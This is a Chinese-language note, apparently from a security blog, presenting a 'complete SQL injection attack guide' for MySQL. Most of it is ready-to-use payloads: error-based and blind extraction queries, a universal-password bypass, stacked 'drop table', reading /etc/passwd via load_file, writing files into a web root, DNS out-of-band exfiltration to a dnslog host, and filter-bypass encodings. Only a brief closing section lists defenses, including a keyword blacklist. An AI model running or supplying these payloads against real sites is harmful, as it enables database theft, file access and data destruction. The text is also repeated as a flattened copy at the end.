sql注入笔记
字数 1416 2025-08-29 08:30:25

SQL注入攻击全面指南

1. SQL注入概述

SQL注入是一种将恶意SQL代码插入到应用的输入参数中,从而欺骗服务器执行恶意SQL命令的攻击技术。攻击者可以利用这种漏洞绕过安全措施,获取数据库中的敏感信息,甚至完全控制数据库服务器。

2. SQL注入分类

2.1 根据回显情况分类

有回显注入

  • 联合查询注入(Union-based): 通过UNION操作符将恶意查询结果与正常查询结果合并显示
  • 报错注入(Error-based): 利用数据库错误信息获取数据

无回显注入

  • 布尔盲注(Boolean-based Blind): 通过页面返回的真假状态推断信息
  • 延时盲注(Time-based Blind): 通过页面响应时间差异推断信息

3. 基础信息获取技术

-- 查看当前用户
select user();

-- 查看当前数据库
select database();

-- 查看数据库版本
select version();

4. 信息模式(Information_schema)利用

MySQL 5.0+提供了information_schema数据库,包含数据库元数据:

-- 获取所有数据库名
select schema_name from information_schema.schemata;

-- 获取当前数据库所有表名
select table_name from information_schema.tables where table_schema=database();

-- 获取指定表的所有列名
select column_name from information_schema.columns where table_name='表名' and table_schema='数据库名';

5. 报错注入技术

5.1 extractvalue函数

select extractvalue('<a></a>',concat('>',database()));

-- 获取表名
select extractvalue('>',concat('>',(select group_concat(table_name) from information_schema.tables where table_schema='geek')));

-- 获取列名
select extractvalue('>',concat('>',(select group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1')));

5.2 updatexml函数

select updatexml(1,concat('>',database()),1);

-- 获取表数据
select updatexml('~',concat('>',(select group_concat(table_name) from information_schema.tables where table_schema=database())));

5.3 主键报错技术

select * from users where id=1 and (
  select 123 from (
    select count(*),concat(
      (select group_concat(table_name) from information_schema.tables where table_schema=database()),
      '<',floor(rand(0)*2)
    ) as fff from users group by fff
  )qwer
);

6. 盲注技术

6.1 布尔盲注

-- 判断数据库长度
select length(database())>=数字;

-- 判断具体字符
select substring(database(),1,1)='c';
select substr(database(),1,1)='c';
select mid(database(),1,1)='c';
select left(database(),2)='ch';
select right(database(),2)='se';

-- ASCII码判断
select ascii(substring(database(),1,1))>32;

6.2 延时盲注

-- 基本延时
select if(length(database())>1,sleep(5),123);

-- 其他延时方法
-- 1. benchmark函数
select benchmark(1000000000,database());

-- 2. 笛卡尔积
select count(*) from information_schema.columns A,information_schema.columns B,information_schema.columns C;

-- 3. GET_LOCK函数
select get_lock('abc',10) from chao.passwd;

7. 特殊注入技术

7.1 万能密码

select * from passwd where 用户名='adw' and 密码='awda' or 1

7.2 HEAD头注入

常见注入点:

  • Host
  • Referer
  • User-Agent

相关PHP全局变量:

$_SERVER['HTTP_USER_AGENT']
$_SERVER['HTTP_HOST']
$_SERVER['HTTP_REFERER']
$_SERVER['HTTP_X_FORWARDED_FOR']
$_SERVER['REMOTE_ADDR']

7.3 宽字节注入

适用于使用GBK编码的网站,利用GBK编码范围(%81到%FE)与转义字符结合形成汉字绕过过滤。

7.4 堆叠注入

使用分号分隔执行多条SQL语句:

select * from users; drop table users;

7.5 编码注入

利用base64等编码方式绕过字符限制:

-- base64编码后的SQL语句
dW5pb24gc2VsZWN0IDE=

7.6 二次注入

  1. 注册用户:zhangsan'#
  2. 修改密码时执行:
UPDATE users SET PASSWORD='123456' where username='zhangsan'#'and password='zhangsan'

8. 文件操作技术

8.1 读取文件

select load_file('/etc/passwd');

8.2 导出文件

-- 查看导出权限配置
show variables like "%secure_file_priv%";

-- 导出数据到文件
select 1,'123' into outfile "D:\\phpstudy_pro\\WWW\\1.txt";

-- 非联合查询导出
select * from users where id=1 into outfile "D:\\123456.txt" lines terminated by '123';

8.3 DNS外带注入

select LOAD_file(concat("//",database(),".2qnqb7.dnslog.cn/test"));

9. 绕过技术

9.1 符号替换

  • 空格替换:%20、%09、%0a、%0b、%0c、%0d、%a0
  • 注释符:/**/
  • 大小写混合:seLeCt DaTabAse()
  • 等价替换:
    • and=&&=%26%26
    • or=||=%7c%7c
    • order by 3=into @1,@2,@3
    • union select=union all select
    • if(a,b,c)=case when(a) then b else c end

9.2 函数替换

  • hex()、bin()=ascii()
  • group_concat()=concat_ws()
  • substr()=substring()、mid()、left、right
  • substr(database(),1,1)=substr(database() from 1 for 1)

9.3 内联注释

select * from passwd /*!where*/ 用户id=1

10. 防护与修复

  1. 输入过滤

    • 限制特殊字符:net user xp_cmdshell exec master.dbo.xp_cmdshell
    • 黑名单关键字:select and count Asc char mid insert delete from drop table update truncate
  2. 预处理/预编译

    • 使用参数化查询
    • PHP中使用PDO或mysqli预处理
  3. 最小权限原则

    • 数据库账户仅授予必要权限
  4. 安全设备

    • 部署WAF(Web应用防火墙)
    • 如雷池等专业防护设备
  5. 其他措施

    • 关闭错误回显
    • 定期更新补丁
    • 安全编码规范培训
SQL注入攻击全面指南 1. SQL注入概述 SQL注入是一种将恶意SQL代码插入到应用的输入参数中,从而欺骗服务器执行恶意SQL命令的攻击技术。攻击者可以利用这种漏洞绕过安全措施,获取数据库中的敏感信息,甚至完全控制数据库服务器。 2. SQL注入分类 2.1 根据回显情况分类 有回显注入 联合查询注入(Union-based) : 通过UNION操作符将恶意查询结果与正常查询结果合并显示 报错注入(Error-based) : 利用数据库错误信息获取数据 无回显注入 布尔盲注(Boolean-based Blind) : 通过页面返回的真假状态推断信息 延时盲注(Time-based Blind) : 通过页面响应时间差异推断信息 3. 基础信息获取技术 4. 信息模式(Information_ schema)利用 MySQL 5.0+提供了information_ schema数据库,包含数据库元数据: 5. 报错注入技术 5.1 extractvalue函数 5.2 updatexml函数 5.3 主键报错技术 6. 盲注技术 6.1 布尔盲注 6.2 延时盲注 7. 特殊注入技术 7.1 万能密码 7.2 HEAD头注入 常见注入点: Host Referer User-Agent 相关PHP全局变量: 7.3 宽字节注入 适用于使用GBK编码的网站,利用GBK编码范围(%81到%FE)与转义字符结合形成汉字绕过过滤。 7.4 堆叠注入 使用分号分隔执行多条SQL语句: 7.5 编码注入 利用base64等编码方式绕过字符限制: 7.6 二次注入 注册用户: zhangsan'# 修改密码时执行: 8. 文件操作技术 8.1 读取文件 8.2 导出文件 8.3 DNS外带注入 9. 绕过技术 9.1 符号替换 空格替换:%20、%09、%0a、%0b、%0c、%0d、%a0 注释符: /**/ 大小写混合: seLeCt DaTabAse() 等价替换: and=&&=%26%26 or=||=%7c%7c order by 3=into @1,@2,@3 union select=union all select if(a,b,c)=case when(a) then b else c end 9.2 函数替换 hex()、bin()=ascii() group_ concat()=concat_ ws() substr()=substring()、mid()、left、right substr(database(),1,1)=substr(database() from 1 for 1) 9.3 内联注释 10. 防护与修复 输入过滤 : 限制特殊字符: net user xp_cmdshell exec master.dbo.xp_cmdshell 等 黑名单关键字: select and count Asc char mid insert delete from drop table update truncate 等 预处理/预编译 : 使用参数化查询 PHP中使用PDO或mysqli预处理 最小权限原则 : 数据库账户仅授予必要权限 安全设备 : 部署WAF(Web应用防火墙) 如雷池等专业防护设备 其他措施 : 关闭错误回显 定期更新补丁 安全编码规范培训